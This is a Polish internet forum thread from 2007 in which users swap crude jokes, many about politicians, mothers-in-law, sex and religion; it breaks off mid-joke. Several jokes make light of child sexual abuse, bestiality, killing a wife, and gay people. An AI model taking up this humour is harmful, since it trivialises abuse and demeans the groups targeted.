Zagłosować na PiS i zostać w kraju
:22:


:lol: no offence :lol:

amalcz - 18-05-2007, 07:40

Czemu w samochodzie Premiera są przyciemniane szyby ?

Żeby nie było widać że siedzi w foteliku ! :lol:

Rumelia - 18-05-2007, 10:05

Nowy Jork,Central Park.Małą dziewczynkę atakuje pitbull.Podbiega młody mężczyzna i unieszkodliwia go.Obserwujący całe zajście policjant podchodzi i mówi:
-Jest pan bohaterem,W jutrzejszych gazetach napiszą:"Nowojorczyk uratował życie dziecka!"
-Ale ja nie jestem z Nowego Jorku...
-nie szkodzi,napiszą:Bohaterski amerykanin uratował dziecko!
-Ale ja nie jestem amerykaninem...
To skąd pan jest?!
-Z Palestyny
Nazajutrz w gazetach napisano:
"Islamski terrorysta zamordował amerykańskiego psa!"

The_PiotREX - 18-05-2007, 10:55

Podążając za prostą radą, którą przeczytałem w gazecie,
"Sposób, aby osiągnąć spokój wewnętrzny -
to
"dokończyć wszystkie rzeczy, które zacząłeś..."
Wiec rozejrzałem się po domu, aby znaleźć rzeczy,
które zacząłem i nie dokończyłem...
I zanim wyszedłem z domu dziś rano skończyłem:
- butelkę czerwonego wina,
- butelkę białego,
- Baileysa,
- Black & White,
- Wild Turkey,
- Absoluta,
- trochę walium,
- niedopalonego jointa,
- resztę tortu orzechowego
- i pudełko czekoladek.

Nie macie pojęcia, jak zajebiście się czułem :22:

tom_wie - 18-05-2007, 16:04

W sumie jest to fakt autentyczny :mrgreen: a nie dowcip, ale chyba się nada, mnie rozbroiło.

Fragment pochodzi za strony http://www.zbrodnia.of.pl/ , z zakładki AUTORZY


"Marcin (rok ur.: 1982)

Jestem zwykłym chłopakiem, trochę interesuję się zbrodnią i seryjnymi mordercami. Jeśli chcesz ze mną pogadać: pisz śmiało. Jeśli masz jakieś fajne teksty dotyczące seryjnych - pisz koniecznie."

:22:

Łukasz M. - 18-05-2007, 19:29

tom_wie napisał/a:
mnie rozbroiło


Odpowiem pytaniem, co w tym śmiesznego ? :???:

tom_wie - 18-05-2007, 19:54

Łukasz Mączka napisał/a:
tom_wie napisał/a:
mnie rozbroiło


Odpowiem pytaniem, co w tym śmiesznego ? :???:


"Jestem zwykłym chłopakiem, trochę interesuję się (...) seryjnymi mordercami"

No mnie to pachnie świrem. Zwykły chłopak w tym wieku to się dupami interesuje, no ale może tego nie wiesz. :mrgreen:

Adam Frajtak - 18-05-2007, 20:38

tom_wie napisał/a:
W sumie jest to fakt autentyczny

czy fakt moze byc nieautentyczny?

Łukasz M. - 18-05-2007, 22:12

tom_wie napisał/a:
No mnie to pachnie świrem.


Więc z chorego człowieka masz zamiar sobie żarty stroić, z inwalidów też się nabijasz ?

tom_wie napisał/a:
Zwykły chłopak w tym wieku to się dupami interesuje, no ale może tego nie wiesz. :mrgreen:


Spokoluz, Ty się nie martw, o to co ja wiem, lub nie wiem :asthanos:

:roll:

tom_wie - 18-05-2007, 22:22

scaner napisał/a:
tom_wie napisał/a:
W sumie jest to fakt autentyczny

czy fakt moze byc nieautentyczny?



Scaner co ty, widzę że dawno żadnego polityka nie słuchałeś. :mrgreen:

Adam Frajtak - 18-05-2007, 22:26

tom_wie napisał/a:

Scaner co ty, widzę że dawno żadnego polityka nie słuchałeś. :mrgreen:

Niby racja ale oni mają swój świat

Andrzej Kosko - 19-05-2007, 17:01

scaner napisał/a:
oni mają swój świat
i nikt nie będzie im wmawiał,ze białe jest białe,a czarne jest czarne :22:
Adam Frajtak - 19-05-2007, 21:59

Andrzej Kosko napisał/a:
scaner napisał/a:
oni mają swój świat
i nikt nie będzie im wmawiał,ze białe jest białe,a czarne jest czarne :22:


aaaa w kontekście kolorów to PADI to syf.......

KasiaK - 04-06-2007, 16:11

Pewna kobieta wpadła na pomysł, żeby kupić mężowi na urodziny zwierzątko.
Udała się w tym celu do sklepu zoologicznego. Wszystkie fajne zwierzaki były
niestety dla niej za drogie. Zrezygnowana pyta się sprzedawcy:
- Macie tu jakieś tańsze zwierzaki?
- Z tańszych mamy tylko żabę po 50 zł.
- 50 zł, za żabę?! Dlaczego tak drogo?
- Bo ta żaba to, proszę pani, jest całkiem wyjątkowa.
Ona potrafi świetnie robić laskę!
Kobieta nie zastanawiając się długo kupiła żabę, licząc że ta ją wyręczy w
tej nieprzyjemnej dla niej czynności. Gdy nadszedł, dzień urodzin kobieta
wręczyła żabę mężowi i opowiedziała mu o jej niesamowitych zdolnościach.
Facet był, nieco sceptyczny, ale postanowił swój prezent wypróbować jeszcze
tego samego wieczora. Grubo po północy żonę obudziły dziwne dźwięki
dochodzące z kuchni. Wstała i poszła sprawdzić co tam się dzieje.
Gdy weszła do kuchni zobaczyła męża i żabę przeglądających książkę kucharską.
Wokół, nich porozstawiane były przeróżne garnki i patelnie.
Zdumiona kobieta spytała:

- Dlaczego studiujecie książkę kucharska o tej godzinie?

- Jak tylko żaba nauczy się gotować, wypier***asz.

EcikHel - 04-06-2007, 16:45

hahahahaha chyba się mu spodobało dobre!!

[ Dodano: 04-06-2007, 16:46 ]
żaba lepsza od kobiety

co za kawał

martin - 06-06-2007, 20:00

Chłopak z dziewczyną idą ulicą.
- Co tak idziesz i milczysz? - pyta ona.
- Chcę, to milczę - mówi on.
- Chcesz i milczysz!?

Tomek Radomski - 08-06-2007, 16:08

Nowa wódka - Ziobrówka, skład: Advocat na kaczych żółtkach...


-----------------------------------------


Rano w biurze:
- Stary, skąd masz takie limo pod okiem?!
- A, bo jak się wczoraj wieczorem modliliśmy przy stole i właśnie mówiliśmy "ale zbaw nas ode złego", to niechcący spojrzałem na teściową...


------------------------------------------


Rozmawiają dwie blondynki:
- Zdawałam wczoraj test IQ.
- Ojej, i co dostałaś?
- Piątkę!!


------------------------------------------


Kobita kupuje kurczaka w supermarkecie. Sprzedawca podaje jej jednego z chłodni. Jak na 4-ro osobową rodzinę ten egzemplarz wydaje się jednak za mały.
- Będzie większy? - pyta kobita.
- Nie będzie, jest już martwy - odpowiada sprzedawca.


---------------i najlepszy----------------------------


Pewna babka chciała się przypodobać mężowi, więc poszła do fryzjera i strzeliła sobie extra fryz.
Przychodzi do domu, a mąż nic... Czyta gazetę, nawet nie zauważył żadnej zmiany.
Na następny dzień myśli: "trzeba sobie zrobić porządny makijaż to na pewno zauważy". Tak też zrobiła. Przychodzi do domu a mąż nic. Facetka na trzeci dzień poszła kupić jakieś wdzianko, ale mąż nic dalej nie zauważył. Więc sobie myśli: "on mnie w ogóle nie zauważa. Jutro założę maskę przeciwgazową".
Nazajutrz siedzą sobie przy obiadku. Mąż spogląda znad gazety, patrzy patrzy i mówi:
- A coś ty sobie kochanie brwi ogoliłaś?

Efraim Ryba - 15-06-2007, 16:25

Syn przychodzi do ojca...
- Tato! Mam dziesięć pał na półrocze!
- Nie pierd***, tylko polewaj!

Grzyb - 19-06-2007, 13:30


martin - 29-06-2007, 16:27

Przychodzi mezczyzna do sklepu z zabawkami i chce kupic swojej córce laleczke Barbie. Sprzedawczyni poleca:
- Jest wiele róznych modeli, mamy:
"Barbie w szkole" za 27,95
"Barbie na kempingu" za 27,95
"Barbie imprezowa" za 27,95
"Barbie wychodzi za maz" za 27,95
"Barbie na zakupach" za 27,95
"Barbie na plazy" za 27,95
oraz "Barbie rozwiedziona" za 527,95.

Zaskoczony facet pyta:
- Co prosze??? Co to byl za model na koncu??
- "Barbie rozwiedziona" za 527,95
- Hmmm, dlaczego "Barbie rozwiedziona" kosztuje równe 500 wiecej????
- No tak... Wie Pan, w zestawie "Barbie rozwiedziona" jest masa dodatków: domek Kena, auto Kena, motocykl Kena, stereo Kena...


- Hej, co jutro robisz, stary?
- Idę z synem za miasto, kupiłem latawiec - będziemy puszczac w powietrze takiego ogromnego smoka! A ty?
- No w sumie prawie to samo - odprowadzam teściową na lotnisko.


Tuż przed rozpoczęciem przedstawienia, Leonowi zachciało się strasznie
siusiu. Wyszedł z widowni, szuka toalety. Wszedł do jakiegoś ciemnego
korytarzyka, już nie może wytrzymać, złapał wazon stojący w kącie i
nasiusiał do niego. Po czym wrócił zadowolony na widownię.
Przedstawienie już trwa, więc Leon nachyla się do sąsiada i się pyta:
- Jak się zaczęło?
- A wie pan, taka scena typowa dla nowoczesnych dramatów. Wchodzi facet,
sika do wazonu i wychodzi...

wrobel.cwirek - 30-06-2007, 13:29

Ciężko chory człowiek zwraca się do swojego prawnika:
- Mam jedno życzenie, chcę zostać prawnikiem.
- Ależ! Zostało panu już bardzo niewiele życia, nie zdąży pan załatwić wszystkiego!
- Użyj moich pieniędzy! Kup, co trzeba, zapłać komu trzeba. Chcę być prawnikiem!
Kilka dni później adwokat przynosi wszystkie papiery:
- Załatwiłem co trzeba, wystarczy to podpisać i tu...
Widząc zbliżający się koniec chorego, adwokat nachyla się nad nim i pyta:
- Niech mi tylko pan jeszcze powie, po co to wszystko? Dlaczego chciał pan zostać prawnikiem przed śmiercią?!
Umierający, ostatnim wysiłkiem szepce:
- Jednego... prawnika... mniej...

Aston - 03-07-2007, 22:13

Dwaj chłopcy podbiegają do policjanta:
- Panie władzo, szybko, nasz nauczyciel!
- Co się stało? Napadli go?
- Nie, on nieprawidłowo zaparkował...

Mis otworzyl nowy sklep. Przychodzi Zajaczek i mowi:
-Misiu daj mi pol kilo soli.
-Zajac ja jeszcze wagi nie kupilem to nasypie ci na oko.
-Do dupy se nasyp debilu!

Leszek Nowak - 04-07-2007, 10:30

Siedzi sobie wedkarz nad rzeka i lowi ryby. Nagle cos mu sie tak zdalo ze z daleka-daleka slyszy cichutkie "spieeerdaaaalaaaj.....". Chwile sie zastanowil... nie no wydawalo sie, nie ma co zawracac sobie tym glowy. Siedzi dalej i nagle troszeczke glosniej "spieerdaalaj...". Troche sie tym juz zdenerwowal, rozejzal sie dookola... cisza.... Nic to, lowie dalej - pomyslal... Po kilku chwilach jeszcze wyrazniejsze... "Spierdaaalaj". Zerwal sie zdenerwowany na rowne nogi... ale coz to znow cisza.... Ech, co to czlowieka na stare lata spotyka, pomyslal znow siadajac i zarzucajac wedke... No niestety znow po paru chwilach, teraz juz glosno i wyraznie slyszy "SPIERDALAJ". Zerwal sie, serce mu wali juz mial uciekac, gdy nagle zobaczyl cos dziwnego: Rzeka plynie kajakiem koles, ale zamiast wiosel ma w rekach patelnie i nimi odgarnia wode... Wedkarza to troche rozbawilo, wiec zagaduje do goscia:
- Panie, a nie wygodniej wioslami?
- SPIERDALAJ!!!


Moj dziadek ciagle narzeka, ze koszty zycia strasznie wzrosly w dzisiejszych czasach. Mowi:
- "...pamietam kiedy bylem mlody - mama mi dala 5 zlotych na zakupy, a ja wrocilem do domu z pelna reklamowka - wedliny, mleko, chleb, ser, maslo, konfitury. A teraz co?!! Wszedzie te lustra, te kamery!!"


Siedza sobie ziec i tesciowa w pokoju.
- Jakie to zycie krotkie - tesciowa zamyslila sie na glos - ledwo sie czlowiek urodzil, a tu juz umierac pora...
- Pora, pora - przytaknal ziec.


Rozmawiaja dwa bobasy w wozkach:
- Jestes zadowolony ze swojej mamy?
- W zasadzie tak, chociaz pod gorke troche zwalnia...

Maria jest bardzo pobozna. Wychodzi za maz i ma 17 dzieci. Jej maz umiera.
Dwa tygodnie pozniej ponownie wychodzi za maz i ma 22 dzieci z drugim mezem.
On umiera. Niedlugo potem ona takze umiera. Na pogrzebie ksiadz patrzy w niebo i mowi:
- Wreszcie sa razem.
Facet siedzacy w pierwszej lawce pyta:
- Przepraszam ojcze, ale ma ksiadz na mysli jej pierwszego meza czy drugiego?
Ksiadz na to:
- Mialem na mysli jej nogi.


Cwiczenia z mechaniki, student rozwiazuje zadanie na tablicy, a prowadzacy:
- No i teraz mamy klasyczny przyklad zwiazku prostytucji z muzyka. Cos tu a fee nie gra!


Rolnik ze swoja swiezo poslubiona malzonka, wracaja z kosciola wozem ciagnionym przez kilka koni, kiedy najstarszy z koni sie potknal, rolnik powiedzial:
- Raz.
Kawalek dalej kon znow sie potknal, rolnik powiedzial:
- Dwa.
Po chwili kon potyka sie po raz trzeci, tym razem rolnik nie mowi nic, siega pod siedzenie i wyjmuje strzelbe i zabija konia. Widzac to malzonka zaczela wydzierac sie na meza:
- To bylo okropne, jak mogles to zrobic!
Rolnik na to:
- Raz.


W celi:
- Za co siedzisz?
- Za niewinnosc, a ty?
- Za morderstwo w orient ekspresie.
- Uuu niezla akcja.
- Noo, trzy noce tlumaczylem...

Adam Frajtak - 06-07-2007, 22:57

tele2
Tomek Radomski - 17-07-2007, 15:58

Do domu klienta apteki dzwoni aptekarz:
- Dzień dobry, przepraszam, że pana niepokoje, ale zaszła pomyłka przy wczorajszym zakupie.
- Taaak? A co się stało?
- Kupował pan tymianek dla teściowej, a my omyłkowo wydaliśmy cyjanek.
- No i jaka to różnica?
- Cztery pięćdziesiąt.

Grzyb - 17-07-2007, 16:00

Jak Rydzyk przeprosil Kaczynskiego

Dzwoni Rydzyk do Kaczyńskiego:
- Jarosław ?
- Nie, Lech.
- A, to przepraszam...

The_PiotREX - 17-07-2007, 21:08

http://pl.youtube.com/watch?v=91GXpXidNNw
Pisklak - 18-07-2007, 08:53

Upadek ;-)

http://pl.youtube.com/watch?v=TygLWz2XrI8

Spaniel - 19-07-2007, 08:51

UAKTUALNIONY WIERSZ O MURZYNKU
*************************************************

Tadeusz Rydzyk w Toruniu mieszka
czarną sukienkę ma ten koleżka.
Uczy prostaczków noce i ranki
ze swej maryjnej radioczytanki
Leje na serce miód swoim gościom
beret z antenką czesząc z lubością.
Geja i Żyda czuje z daleka
niewiernych ściga niczym bezpieka.
Kościół do góry wierzchem wywraca
Psoci, figluje - to jego praca.
Glemp grozi palcem: Rydzyk - łobuzie
Tadzio z uśmiechem nadyma buzie.
Pieronek błaga: Daj na wstrzymanie,
a on rozkręca nową kampanię.
Życiński prosi: raz odpuść sobie;,
a Rydzyk:z radiem co zechce- zrobię;.
Lech go popiera, Jarosław chwali
a sztab ministrów pokłony wali.
A gdy mu ktoś gębę zamknąć próbuje
armię beretów mobilizuje.
Mohery wielbią swego pasterza
Bez jego radia - nie ma pacierza
I mnie już Tadziu zamącił w głowie
Wspieram go w myślach, uczynku, mowie
I wciąż pracuję na swe zbawienie
Pompując rentę w jego kieszenie.

Grzyb - 19-07-2007, 15:25



widac, ze gosc jest bezkompromisowy :20:

apis77 - 21-07-2007, 14:00

O matyldo :!: kogo ta ziemia musi nosic... ;-)
anoolka - 21-07-2007, 22:12

Egzamin w szkole agentów CIA. Do sali wchodzi student.
Instruktor mowi: - W pokoju obok znajduje sie twoja dziewczyna. Tu masz pistolet. Masz ja zabic w 30 sekund!
Po 30 sekundach student wraca i mowi: - Sorry, nie moglem tego zrobic.
Kolejny student: - W pokoju obok znajduje sie twoja narzeczona. Masz tu pistolet. Rozkaz: zastrzel ja. Czas: 30 sekund - dyktuje instruktor
Mija pól minuty, student wraca, prowadzac za reke narzeczona.
Sorry, nie moglem tego zrobic...
Nastepny student. - W pokoju obok czeka twoja zona.
Masz pistolet. Zabij ja w ciagu 30 sekund! - mówi instruktor.
Student wchodzi do pokoju obok. Slychac kilka strzalów,
A potem niesamowity rumor. Po 20 sekundach, lekko zziajany student
wraca, poprawia ciemne okulary i mówi: - Jakis kretyn wpakowal mi slepaki do pistoletu. Musialem ja zaj**ac taboretem!

PawelW - 21-07-2007, 22:20

hehehe dobre :): ):)
anoolka - 22-07-2007, 18:32

Facet u kochanki (maż na delegacji), a tu nagle klucz w zamku grzebie...
Babka, niewiele myśląc, mówi mu:
- Stań na środku, tak jak jesteś - goły, a ja powiem staremu, że taka statuę kupiłam.
Maż wchodzi, rozgląda się, zauważa:
- A to co?!
- No... kupiłam taka statuę, znajomi też maja, teraz taka moda...
Maż machnął ręka i poszedł spać. Żona też. W środku nocy maż wstaje, idzie do kuchni, wyciąga chleb, smaruje masełkiem, kładzie szyneczkę, serek, ogóreczka... podchodzi do statui i wręcza że słowami:
- Masz, ja tak trzy dni stałem, żeby choć q*.*a nakarmiła...
:cool:

bann - 24-07-2007, 18:51

Przychodzi baba do lekarza, ten ją zbadał i mówi:
- Ma pani raka!
- O Boże! To co mam robić? Co mi pan zaleca?
- Niech pani robi okłady z błota!
- A to pomoże?
- Nie, ale może przyzwyczai się pani do ziemi...

[ Dodano: Wto 24 Lip, 2007 ]

O 3 nad ranem do profesora dzwoni telefon:
- Spał pan?
- No tak...
- A my się, *****, uczymy!

[ Dodano: Wto 24 Lip, 2007 ]
to podobno autentyczne z wykłady z zoologi na SGGW; ]
Wykład z zoologii.
Jak zwykle w pierwszych rzędach panie w ostatnich panowie.
Profesor wygłasza tezę:
- Szanowni państwo, należy bowiem zauważyć, iż byk może mieć do 50 stosunków dziennie.
Z pierwszych rzędów unosi się ręka:
- Czy mógłby Pan profesor powtórzyć tak, by ostatnie rzędy słyszały?
Profesor powtarza. Z ostatnich rzędów podnosi się ręka:
- Panie profesorze, a te 50 razy to z jedną krową czy z wieloma?
- Oczywiście, że z wieloma!
Z ostatnich rzędów podnosi się ręka:
- Czy mógłby pan profesor powtórzyć tak, by pierwsze rzędy zrozumiały?

[ Dodano: Wto 24 Lip, 2007 ]
Wraca zmęczony grabarz do domu, ledwie żywy, pada z nóg. Żona pyta:
- Co ci Stefciu, ile miałeś pogrzebów dzisiaj?!
A on:
- Jeden, ale chowaliśmy naczelnika urzędu skarbowego.
- No i co z tego?!
- No niby nic, ale jak go tylko zakopaliśmy, to zerwały się takie brawa, że musieliśmy 7 razy bisować...

[ Dodano: Wto 24 Lip, 2007 ]
Pogrzeb - wdowa chowa swego męża. Grabarz pyta:
- Ile lat miał mąż?
- 98.
- A pani ile ma?
- 97.
- To opłaca się pani wracać do domu?

[ Dodano: Wto 24 Lip, 2007 ]
poczekalnia u lek. wet...
Ej, ty, dlaczego cię tu przyprowadzili?
- No wiesz, siedziałem w domu, wrócił mój pan, no i nie wiem co mi odbiło i się na niego rzuciłem.
- No i na co teraz czekasz?
- No niestety na uśpienie. A co ty tu robisz?
- Wiesz, też ostatnio siedziałem w domu, pana nie było, patrzę a tu pani wychodzi spod prysznica, pachnąca, w seksownym szlafroczku. No i też się na nią rzuciłem i ją ten tego.....
- I co? Też czekasz na uśpienie?
- Nie. Na obcięcie pazurów.

[ Dodano: Wto 24 Lip, 2007 ]
Podczas wizyty w szpitalu psychiatrycznym gość pyta ordynatora jakie kryteria stosują, aby zdecydować czy ktoś powinien zostać zamknięty w zakładzie czy nie.
Ordynator odpowiedział:
- Napełniamy wannę, a potem dajemy tej osobie łyżeczkę do herbaty, kubek i wiadro i prosimy, aby opróżnił wannę.
- Aha, rozumiem - powiedział gość - normalna osoba użyje wiadra, bo jest większe niż łyżeczka czy kubek.
- Nie - powiedział ordynator- normalna osoba pociągnęłaby za korek. Chce pan pokój z widokiem czy bez?

[ Dodano: Wto 24 Lip, 2007 ]
Wspomnienia kolesia:
-Jak byłem kawalerem, zawsze gdy spotykały mnie jakieś zgrzybiałe ciotki na weselach, to poklepwyały mnie po ramieniu i mówiły:
-Będziesz następny.
-Przestały, kiedy na pogrzebach zacząłem robić im tak samo.

[ Dodano: Wto 24 Lip, 2007 ]
Gdzieś w dżungli trzech kanibali postanawia że zjedzą obiad i niech każdy z nich przyniesie cos do jedzenia. Po 30 minutach przychodzi pierwszy z ręką, drugi przychodzi z nogą,a trzeci z urną. Zdziwieni koledzy pytają:
- Po co ci ta urna?
- Już wcześniej jadłem, nie jestem głodny, zrobie sobie gorący kubek

[ Dodano: Wto 24 Lip, 2007 ]
Dlaczego Szkoci noszą spódniczki?
Żeby nie płoszyć owiec odgłosem otwieranego zamka błyskawicznego.

[ Dodano: Wto 24 Lip, 2007 ]
Na przerwie obiadowej rozmawia 2 kolegów. Jeden mówi do drugiego:
-Pochowałem teściową.
-No to moje gratulacje, ale czemu jesteś taki podrapany?
-Bo nie chciała dać się zakopać.

[ Dodano: Wto 24 Lip, 2007 ]
Żaba do skunksa:
-Czemu taki smutny jesteś?
-Bo nie wiem, kim jestem.
-A śmierdzisz?
-Noo.
-A masz włosy?
-Noo.
-To [cenzura] jesteś.

Jaś z Małgosią bawią się w łóżku. Chłopiec wkłada jej rączkę pod spódniczkę; czuje, że jest tam mokro i ślisko:
- Co, okresik?
- Nie, biegunka

[ Dodano: Wto 24 Lip, 2007 ]
Zona do męża:
- Kochanie powiedz mi coś słodkiego...
- Nie teraz, jestem zajęty.
- Kochanie, no powiedz mi coś słodkiego...
- Naprawdę, teraz nie mam czasu.
- Ale kochanie, chociaż jedno słówko...
- Miód do kurwy nędzy

[ Dodano: Wto 24 Lip, 2007 ]
Ponoć autentyk - scenka z zycia supermarketowego w jednym akcie
Osoby:
Energiczny Chłopczyk - dziecina dynamiczna, nadmiernie ruchliwa.
Zrezygnowana Mamusia - posiadaczka synka i obfitych zakupow.
Nobliwa Staruszka - przedstojaca mamusi w kolejce do kasy.
Wymalowana Blondyna - przedstojaca Nobliwej Staruszki, model"tipsy, tapeta i woda utleniona".
Miejsce i czas akcji: Znany Supermarket, godziny wieczorne.
Energiczny Chłopczyk biega
Zrezygnowana Mamusia: Nie biegaj.
Energiczny Chłopczyk biega dalej
Zrezygnowana Mamusia: Nie biegaj. Prosze.
Energiczny Chłopczyk biega dalej
Zrezygnowana Mamusia: Natychmiast przestan biegac.
Energiczny Chłopczyk biega dalej
Nobliwa Staruszka zyczliwie, z promiennym usmiechem: Ach, zupelniejak mój prawnuczek. Niech sie pani nie denerwuje. Dziecko ma dosyczakupów. Ja zresztą tez.
Zrezygnowana Mamusia z nieskrywana ulga: Tak, ja tez.
Wymalowana Blondyna: O tej godzinie bachory to juz powinny byc wlozkach!
Nobliwa Staruszka: A *urwy w pracy!

[ Dodano: Wto 24 Lip, 2007 ]
Synek przychodzi do domu i od progu woła: tatusiu ...Już jestem po pierwszym stosunku...
Tatuś: gratuluje jestem z ciebie dumny a powiedz chłopcze, kiedy następny raz?
Synek: jak mi się dupa zagoi...............

[ Dodano: Wto 24 Lip, 2007 ]
Siedzi sobie Jasio w ławce, pstryka długopisem i głośno myśli:
- Wchodzi, wychodzi, wchodzi, wychodzi i niby wszystko okej ale dzieci z
tego nie będzie!
Przychodzi nauczycielka i się pyta:
- Co robisz Jasiu?
- No proszę zobaczyć (tu znowu pstryka długopisem): wchodzi, wychodzi,
wchodzi, wychodzi i niby wszystko okej ale dzieci z tego nie będzie!
- Ależ Jasiu, o co Ci chodzi, o czym ty mówisz?
- No bo proszę zobaczyć (tu znowu pstryka długopisem): wchodzi, wychodzi,
wchodzi, wychodzi i niby wszystko okej ale dzieci z tego nie będzie (tu
rozkręca długopis i wskazując na sprężynę), bo w środku spiralka!

[ Dodano: Wto 24 Lip, 2007 ]
Przychodzi facet do domu. Patrzy, jego kobieta siedzi przed drzwiami na walizkach. Przestraszony pyta:
-Kochanie, co sie stało?!?
Na to ona:
-Odchodzę od Ciebie. Podobno jesteś pedofilem!
On:
-Mocne słowa jak na ośmiolatke.

[ Dodano: Wto 24 Lip, 2007 ]
Leśniczowka. Listopad. 5 rano. Gajowy wstaje z Cieplego lozka i cieplutkiej zony bo wybiera sie na polowanie. Zona:
-Gdzie idziesz?
-Na polowanie.
Gajowy wychodzi na dwor, ale tak zimno mu sie jakos zrobilo, jeszcze snieg zaczal padac, ze mu sie w koncu tego polowania odechcialo. Wraca do domu, do lozka, pod kolderke... Zona na to:
-Co Kochanie, zimno jak cholera?
-Oj piździ!!
-No widzisz, a ten idiota na polowanie poszedl!

[ Dodano: Wto 24 Lip, 2007 ]
W kinie siedzą chłopak z dziewczyną. Film trwa, chłopak się nagle odzywa:
- Minęła już godzina, a ty mnie nawet nie pocałowałaś...
- Przecież zrobiłam ci loda...
- Mi?!

[ Dodano: Wto 24 Lip, 2007 ]
Do restauracji przychodzi 3 głuchoniemych facetów.
Wołają kelnera. Na palcach pokazują liczbę 10 - chcą zamówić 10 piw.
Kelner spełnia więc ich życzenie. Po 2 godzinach zauważa, że głuchoniemi
patrzą się w sufit i mają cały czas otwarte usta. Postanawia więc zadzwonić
do związku głuchoniemych by zapytać o co chodzi. - Dzień dobry. Dzwonię z
restauracji, ponieważ przyszło
do nas 3 głuchoniemych. Wypili 10 piw, a teraz siedzą z otwartymi ustami i
gapią się w sufit. O co im chodzi?!
- Niech się pan nie martwi. Jeszcze godzinę pośpiewają i pójdą

[ Dodano: Wto 24 Lip, 2007 ]
Profesor medycyny ma pierwszy wykład z pierwszym semestrem.
- Zaczniemy od podstaw autopsji. Tutaj są dwie rzeczy najistotniejsze. Po pierwsze - musicie państwo pokonać swoje obrzydzenie. Proszę popatrzeć... i wetknął palec w tyłek trupa, wyciągnął go i oblizał.
- A teraz każdy z was po kolei! Studenci z bladymi twarzami podchodzą do zwłok, ale robią, co kazał profesor. Kiedy skończyli wykładowca mówi:
- Po drugie, powinniście państwo popracować nad spostrzegawczością. Włożyłem palec wskazujący, ale oblizałem środkowy!

[ Dodano: Wto 24 Lip, 2007 ]
Jedzie gość starym żukiem na budowe. Przy trasie,którą jedzie stoją tirówki zatrzymuje się przy jednej i pyta co ona robi za 100, tirówa nato że wszystko, a gość "to wsiadaj będziesz lała beton".

[ Dodano: Wto 24 Lip, 2007 ]
Siedzą w celi: nekrofil, sadysta, pedofil, zoofil i masochista. Nagle zoofil mówi
- Ale bym se wyruchał kotka
- Ale takiego małego - dodał pedofil
- A potem wyrwalibyśmy mu nóżki- dodał sadysta
- A jak by się wykrwawił na śmierć to ja go jeszcze raz - powiedział nekrofil
- Miau - mruknął masochista

[ Dodano: Wto 24 Lip, 2007 ]
Umiera papież. U wrót raju św. Piotr go pyta: - Ktoś ty? - Ja? biskup Rzymu. - Biskup Rzymu? Nie kojarzę. - No, namiestnik Pański na Ziemi. - To Bóg ma namiestnika? Nic mi o tym nie wiadomo. - Jestem głową kościoła katolickiego! - A co to takiego? - .... - Dobra. Czekaj tu, idę spytać szefa. (tup, tup, tup) - Panie Boże, masz chwilkę? Jest tu taki jeden, mówi, że jest papieżem, Twoim namiestnikiem na Ziemi, głową czegoś tam.. - Nie kojarzę. Ale moment... Jezusie, może ty coś o tym wiesz? - Nie, tato, nie kojarzę. Ale pójdę z nim pogadać. Po chwili wraca Jezus zwijając się ze śmiechu i mówi: - Pamiętacie to kółko rybackie, które zakładałem 2000 lat temu? Oni do tej pory działają!

[ Dodano: Wto 24 Lip, 2007 ]
Para młodych kochanków zabawiała się w kuchni na stole pod nieobecność babci dziewczyny. Po wszystkim zostawili, nieopatrznie, gumkę. Po powrocie starsza pani wpada do pokoju wnuczki:
- Pasztetową to się zjadło, ale skórkę to babcia musiała wylizać

[ Dodano: Wto 24 Lip, 2007 ]
Jest kleryk, ksiądz i biskup.
Ksiądz i biskup musieli wyjechać i zostawili klerykowi
książeczkę jaką pokutę za jaki grzech ukarać.
Przychodzi młoda dziewczyna i mówi
- Byłam w lesie z chłopakiem
- Zdrowaśka (ksiądz)
- Całowaliśmy się
- 2 zdrowaśki
- Ja mu robiłam gałkę
Ksiądz szuka w książeczce nic niema o robieniu gałek
wybiega z konfesjonału idzie do ministranta i pyta się
- Co biskup daje za robienie gałek?
- Mi daje SNIKERSA

[ Dodano: Wto 24 Lip, 2007 ]
Dlaczego dziewczynie jest tak trudno znaleźć chłopaka, który byłby
inteligentny, uczuciowy, kochający, troskliwy, dobrze usposobiony,
przystojny i uczynny?
Bo faceci pasujący do opisu mają już swoich chłopaków

[ Dodano: Wto 24 Lip, 2007 ]
Przyszedł facet do burdelu
- Dzień dobry, chciałbym zamówić sobie panienkę.
- Proszę, tu jest cennik - mowi burdelmama.
- Ale ja nie mam tyle pieniędzy...
- Niech pan pokaże ile ma.
- Uuuu, za tą forsę to żadnej panienki pan nie dostanie, jedynie może być pan Marian
- No jak ma być to niech będzie - odparł facet.
Zeszli do kotłowni, do palacza Mariana
- Panie Marianie, klient do pana!
Pan Marian odstawił wiadro z węglem, szufle, zdjął spodnie i wypiął się w stronę klienta. Klient spojrzał z niesmakiem na brudnego tłustego i zarośniętego Mariana, próbuje się do niego dobrać, ale nie bardzo wie jak.
Mówi więc:
- Ty, może byś mi pomógł?
Na co Marian odwrócił głowę, wypluł papierosa, zatrzepotał rzęsami i powiedział ochrypłym basem:
- Kocham Cię ...

[ Dodano: Wto 24 Lip, 2007 ]
Dwie zakonnice przy ruchliwej szosie chcą się załapać na okazję, ale jakoś nie mają szczęścia. Po jakimś jednak czasie zatrzymuje się z piskiem opon luksusowy kabriolet,a za kierownicą elegancka, młoda panienka. Śmielsza z zakonnic rozpoczyna z właścicielką bryki dialog: - Przepraszam, skąd pani ma taki piękny samochód? - Za dupę. - A to piękne futro? - Za dupę. Milcząca dotychczas siostra nie wytrzymała i wtrąciła: - Popatrz, popatrz. A proboszcz daje nam tylko obrazki.

[ Dodano: Wto 24 Lip, 2007 ]
Mlody chlopak pierze dzinsy i mruczy :
- Nikomu nie mozna ufac, nikomu ....
Na moment przerywa pranie :
- Nawet sobie - kontynuuje wsciekly - Przeciez tylko pierdnac
chcialem.

[ Dodano: Wto 24 Lip, 2007 ]
Portiernia akademika:
- A ty młody człowieku do kogo?
- Mi tam obojętne mam dwie flaszki

[ Dodano: Wto 24 Lip, 2007 ]
Bóg postanowił sprawdzić we wrześniu, co też porabiają studenci. Zesłał więc na ziemię anioła, ten posprawdzał i wraca z raportem:
- Studenci medyka się uczą, studenci uniwereka piją, studenci polibudy piją.
Następną kontrolę zrobił w listopadzie:
- Studenci medyka ryją, studenci uniwereka zaczynają się uczyć, studenci polibudy piją.
Styczeń:
- Studenci medyka kują, aż huczy, studenci uniwereka ryją, studenci polibudy piją.
Początek sesji. Anioł wraca z ziemi i mówi:
Panie Boże, studenci medyka ryją dzień i noc, studenci uniwerka ryją dzień i noc, studenci polibudy się modlą.
A Bóg na to:
